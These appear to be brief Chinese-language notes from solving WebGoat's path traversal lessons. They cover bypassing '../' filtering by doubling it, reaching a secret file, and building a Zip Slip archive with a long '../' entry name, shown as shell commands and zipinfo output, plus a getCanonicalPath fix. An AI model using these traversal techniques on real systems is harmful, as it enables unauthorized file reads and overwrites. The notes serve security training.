修改test参数



修复为移除../,双写

修复为忽略用户传的full name,对文件名进行修改

读文件

返回404会显示当前目录中的文件

最终找到路径,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../path-traversal-secret.jpg


让提交当前webgoat登录用户名的sha512值

解压缩时存在路径的拼接
mkdir -p /home/webgoat/.webgoat-2025.3/PathTraversal/zqqqqq
cd /home/webgoat/.webgoat-2025.3/PathTraversal/zqqqqq
curl -o zqqqqq.jpg http://127.0.0.1:9090/WebWolf/images/wolf.png
zip profile.zip ../../../../../../../../home/webgoat/.webgoat-2025.3/PathTraversal/zqqqqq/zqqqqq.jpg
zipinfo profile.zip
Archive: profile.zip
Zip file size: 6271 bytes, number of entries: 1
-rw-r--r-- 3.0 unx 5953 bx stor 26-Jan-16 13:56 ../../../../../../../../home/webgoat/.webgoat-2025.3/PathTraversal/zqqqqq/zqqqqq.jpg
1 file, 5953 bytes uncompressed, 5953 bytes compressed: 0.0%


可以使用getCanonicalPath获得规范化后的绝对路径